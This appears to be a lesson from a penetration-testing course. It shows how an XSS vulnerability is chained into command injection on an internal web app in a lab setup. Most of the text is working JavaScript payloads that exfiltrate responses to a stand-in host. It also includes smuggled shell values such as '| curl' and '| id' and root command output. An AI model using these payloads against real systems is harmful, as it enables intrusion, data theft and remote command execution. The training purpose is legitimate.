Exploiting internal Web Applications II

---

After discussing how to exploit a SQL injection vulnerability in an internal web application through an XSS vulnerability, we will explore how to exploit a command injection vulnerability through XSS in this section. While the methodology is the same, it is crucial to understand it well since the process is complex but powerful. A thorough understanding can help in the identification of complex real-world vulnerabilities.

---

Identifying the Vulnerability

The identification process is essentially identical, as discussed in the previous section. We will use the same base XSS payload, and the admin endpoint still contains the same reference to the internal web application at http://internal.vulnerablesite.htb. We can use the following payload to exfiltrate the index of the internal web application:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://internal.vulnerablesite.htb/', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This reveals the following HTML content, which indicates that we can use the web application to check the status of different web applications:

We can craft the corresponding POST request by analyzing the form to identify how exactly the web application implements this functionality:

var xhr = new XMLHttpRequest();
var params = `webapp_selector=${encodeURIComponent("http://vulnerablesite.htb")}`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This results in the following response:

HTTP/1.1 200 OK

Let us try a non-existing domain to see if we can provoke an error message:

var xhr = new XMLHttpRequest();
var params = `webapp_selector=${encodeURIComponent("http://doesnotexist.htb")}`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This results in the following response:

curl: (6) Could not resolve host: doesnotexist.htb

As we can see, the status seems to be obtained using curl. If this is improperly implemented or there is no proper sanitization, there is a potential command injection vulnerability. We can verify this by injecting an additional curl command to the exfiltration server:

var xhr = new XMLHttpRequest();
var params = `webapp_selector=${encodeURIComponent("| curl http://exfiltrate.htb?pwn")}`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Afterward, we can see the expected request in the exfiltration server, thus confirming the command injection vulnerability:

---

Exploiting the Vulnerability

We can specify the command injection payload in our XSS payload and exfiltrate the result to the exfiltration server. The exploitation does thus not differ from other command injection vulnerabilities. For instance, we can execute the id command:

var xhr = new XMLHttpRequest();
var params = `webapp_selector=${encodeURIComponent("| id")}`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

The result is contained in the base64-encoded response:

uid=0(root) gid=0(root) groups=0(root)